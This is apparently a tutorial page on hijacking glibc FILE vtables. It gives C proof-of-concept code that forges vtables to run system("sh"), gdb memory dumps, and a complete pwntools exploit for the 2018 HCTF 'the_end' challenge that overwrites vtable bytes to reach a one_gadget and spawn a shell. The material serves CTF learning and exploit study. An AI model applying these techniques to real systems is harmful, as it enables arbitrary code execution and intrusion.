Skip to content

Faking vtable to Hijack Program Flow

Introduction

Previously we introduced the characteristics of file streams (FILE) in Linux, and we learned that some common I/O operation functions in Linux need to be processed through the FILE structure. In particular, the _IO_FILE_plus structure contains a vtable, and some functions extract pointers from the vtable to make calls.

Therefore, the core idea of faking vtable to hijack program flow is to tamper with the vtable of _IO_FILE_plus. This is achieved by making the vtable point to memory we control and placing function pointers within it.

There are two types of vtable hijacking: one is directly overwriting a function pointer in the vtable, which can be achieved through an arbitrary address write; the other is overwriting the vtable pointer itself to point to memory we control, and then placing function pointers within it.

Practice

Here we demonstrate modifying a pointer in the vtable. First, we need to know where _IO_FILE_plus is located. In the case of fopen, it is located in heap memory; for stdin, stdout, and stderr, it is located in libc.so.

int main(void)
{
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("123.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    vtable_ptr[7]=0x41414141 //xsputn

    printf("call 0x41414141");
}

We obtain the address of the vtable based on its offset within _IO_FILE_plus. On a 64-bit system, the offset is 0xd8. After that, we need to figure out which function in the vtable the I/O function we want to hijack will call. The mapping of I/O functions to vtable calls has been described in the FILE structure introduction section. Knowing that printf calls xsputn from the vtable, and that xsputn is the eighth entry in the vtable, we can write to this pointer to perform the hijack.

Furthermore, when vtable functions like xsputn are called, the first argument passed is actually the address of the corresponding IO_FILE_plus. For example, in this case when calling printf, the first argument passed to the vtable function is the address of _IO_2_1_stdout.

This can be leveraged to pass arguments to the hijacked vtable function. For example:

#define system_ptr 0x7ffff7a52390;

int main(void)
{
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("123.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    memcopy(fp,"sh",3);

    vtable_ptr[7]=system_ptr //xsputn


    fwrite("hi",2,1,fp);
}

However, in the current libc 2.23 version, the vtable in the libc data segment is not writable. Nonetheless, exploitation can still be achieved by forging the vtable in controllable memory.

#define system_ptr 0x7ffff7a52390;

int main(void)
{
    FILE *fp;
    long long *vtable_addr,*fake_vtable;

    fp=fopen("123.txt","rw");
    fake_vtable=malloc(0x40);

    vtable_addr=(long long *)((long long)fp+0xd8);     //vtable offset

    vtable_addr[0]=(long long)fake_vtable;

    memcpy(fp,"sh",3);

    fake_vtable[7]=system_ptr; //xsputn

    fwrite("hi",2,1,fp);
}

We first allocate a block of memory to store the forged vtable, then modify the vtable pointer in _IO_FILE_plus to point to this memory. Since we place the address of the system function in the vtable, we need to pass the argument "/bin/sh" or "sh".

Because vtable functions pass the corresponding _IO_FILE_plus pointer as the first argument when called, here we write "sh" to the beginning of _IO_FILE_plus. After that, the call to fwrite will go through our forged vtable and execute system("sh").

Similarly, if no _IO_FILE created by fopen or similar functions exists in the program, we can also target stdin, stdout, or stderr which are located in libc.so. These streams are used in functions like printf and scanf. Before libc 2.23, these vtables were writable and there were no other checks.

print &_IO_2_1_stdin_
$2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>

0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so

2018 HCTF the_end

Challenge link

Basic Information

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

Analyzing the challenge, the exploitation point is clearly in the main function, and:

  • All protections are enabled except canary
  • libc base address and libc version are given
  • We can write 5 bytes at arbitrary locations

Approach:

  • The exploit leverages the fact that after the program calls exit, it traverses _IO_list_all and calls the _setbuf function in the vtable of _IO_2_1_stdout_.
  • We can first modify two bytes near the current vtable to forge a fake_vtable, then use 3 bytes to modify the content of _setbuf in the fake_vtable to a one_gadget.

We first debug to find the offset between _IO_2_1_stdout_ and libc. A silly mistake I initially made was searching for the relevant symbol in gdb, but the address found was the location of the _IO_2_1_stdout_ symbol itself, not its position in the libc data segment. Using IDA or the libcsearch tool, we find the vtables offset 0x3C56F8 as follows:

.data:00000000003C56F8                 dq offset _IO_file_jumps  // vtables
.data:00000000003C5700                 public stderr
.data:00000000003C5700 stderr          dq offset _IO_2_1_stderr_
.data:00000000003C5700                                         ; DATA XREF: LOAD:000000000000BAF0↑o
.data:00000000003C5700                                         ; fclose+F2↑r ...
.data:00000000003C5708                 public stdout
.data:00000000003C5708 stdout          dq offset _IO_2_1_stdout_
.data:00000000003C5708                                         ; DATA XREF: LOAD:0000000000009F48↑o
.data:00000000003C5708                                         ; fclose+E9↑r ...
.data:00000000003C5710                 public stdin
.data:00000000003C5710 stdin           dq offset _IO_2_1_stdin_
.data:00000000003C5710                                         ; DATA XREF: LOAD:0000000000006DF8↑o
.data:00000000003C5710                                         ; fclose:loc_6D340↑r ...
.data:00000000003C5718                 dq offset sub_20B70
.data:00000000003C5718 _data           ends
.data:00000000003C5718
.bss:00000000003C5720 ; ===========================================================================

Let's examine the vtable contents:

pwndbg> x /30gx 0x7f41d9c026f8
0x7f41d9c026f8 <_IO_2_1_stdout_+216>:   0x00007f41d9c006e0  0x00007f41d9c02540
0x7f41d9c02708 <stdout>:    0x00007f41d9c02620  0x00007f41d9c018e0
0x7f41d9c02718 <DW.ref.__gcc_personality_v0>:   0x00007f41d985db70  0x0000000000000000
0x7f41d9c02728 <string_space>:  0x0000000000000000  0x0000000000000000
0x7f41d9c02738 <__printf_va_arg_table>: 0x0000000000000000  0x0000000000000000
0x7f41d9c02748 <transitions>:   0x0000000000000000  0x0000000000000000
0x7f41d9c02758 <buffer>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02768 <buffer>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02778 <buffer>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02788 <buffer>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02798 <getttyname_name>:   0x0000000000000000  0x0000000000000000
0x7f41d9c027a8 <fcvt_bufptr>:   0x0000000000000000  0x0000000000000000
0x7f41d9c027b8 <buffer>:    0x0000000000000000  0x0000000000000000
0x7f41d9c027c8 <buffer>:    0x0000000000000000  0x0000000000000000
0x7f41d9c027d8 <buffer>:    0x0000000000000000  0x0000000000000000
Then we search near the vtable for a fake_vtable that satisfies the following conditions:

  • fake_vtable_addr + 0x58 = libc_base + off_set_3
  • Where 0x58 is the offset of set_buf in the vtable, determined from the table below

void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
Here I chose the following address as the fake_vtable:

pwndbg> x /60gx 0x7f41d9c02500
0x7f41d9c02500 <_nl_global_locale+224>: 0x00007f41d99cb997  0x0000000000000000
0x7f41d9c02510: 0x0000000000000000  0x0000000000000000
0x7f41d9c02520 <_IO_list_all>:  0x00007f41d9c02540  0x0000000000000000
0x7f41d9c02530: 0x0000000000000000  0x0000000000000000
0x7f41d9c02540 <_IO_2_1_stderr_>:   0x00000000fbad2086  0x0000000000000000
0x7f41d9c02550 <_IO_2_1_stderr_+16>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02560 <_IO_2_1_stderr_+32>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02570 <_IO_2_1_stderr_+48>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02580 <_IO_2_1_stderr_+64>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02590 <_IO_2_1_stderr_+80>:    0x0000000000000000  0x0000000000000000
0x7f41d9c025a0 <_IO_2_1_stderr_+96>:    0x0000000000000000  0x00007f41d9c02620
0x7f41d9c025b0 <_IO_2_1_stderr_+112>:   0x0000000000000002  0xffffffffffffffff
0x7f41d9c025c0 <_IO_2_1_stderr_+128>:   0x0000000000000000  0x00007f41d9c03770
0x7f41d9c025d0 <_IO_2_1_stderr_+144>:   0xffffffffffffffff  0x0000000000000000
0x7f41d9c025e0 <_IO_2_1_stderr_+160>:   0x00007f41d9c01660  0x0000000000000000
0x7f41d9c025f0 <_IO_2_1_stderr_+176>:   0x0000000000000000  0x0000000000000000
0x7f41d9c02600 <_IO_2_1_stderr_+192>:   0x0000000000000000  0x0000000000000000
0x7f41d9c02610 <_IO_2_1_stderr_+208>:   0x0000000000000000  0x00007f41d9c006e0
0x7f41d9c02620 <_IO_2_1_stdout_>:   0x00000000fbad2a84  0x00005582e351c010
0x7f41d9c02630 <_IO_2_1_stdout_+16>:    0x00005582e351c010  0x00005582e351c010
0x7f41d9c02640 <_IO_2_1_stdout_+32>:    0x00005582e351c010  0x00005582e351c010
0x7f41d9c02650 <_IO_2_1_stdout_+48>:    0x00005582e351c010  0x00005582e351c010
0x7f41d9c02660 <_IO_2_1_stdout_+64>:    0x00005582e351c410  0x0000000000000000
0x7f41d9c02670 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02680 <_IO_2_1_stdout_+96>:    0x0000000000000000  0x00007f41d9c018e0
0x7f41d9c02690 <_IO_2_1_stdout_+112>:   0x0000000000000001  0xffffffffffffffff
0x7f41d9c026a0 <_IO_2_1_stdout_+128>:   0x0000000000000000  0x00007f41d9c03780
0x7f41d9c026b0 <_IO_2_1_stdout_+144>:   0xffffffffffffffff  0x0000000000000000
0x7f41d9c026c0 <_IO_2_1_stdout_+160>:   0x00007f41d9c017a0  0x0000000000000000
0x7f41d9c026d0 <_IO_2_1_stdout_+176>:   0x0000000000000000  0x0000000000000000
pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000
0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words)
pwndbg> p 0x7f41d9c025e0 -0x58
$10 = 0x7f41d9c02588
pwndbg> distance 0x7f41d9c02588 0x7f41d983d000
0x7f41d9c02588->0x7f41d983d000 is -0x3c5588 bytes (-0x78ab1 words)
pwndbg> distance  0x7f41d9c025e0 0x7f41d983d000
0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words)

The final exploit script is as follows:

from pwn import *
context.log_level="debug"

libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# p = process('the_end')
p = remote('127.0.0.1',1234)

rem = 0
if rem ==1:
    p = remote('150.109.44.250',20002)
    p.recvuntil('Input your token:')
    p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')

sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]

libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0
vtables =     libc_base + 0x3C56F8

fake_vtable = libc_base + 0x3c5588
target_addr = libc_base + 0x3c55e0

print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])

# gdb.attach(p)

for i in range(2):
    p.send(p64(vtables+i))
    p.send(p64(fake_vtable)[i])


for i in range(3):
    p.send(p64(target_addr+i))
    p.send(p64(one_gadget)[i])

p.sendline("exec /bin/sh 1>&0")

p.interactive()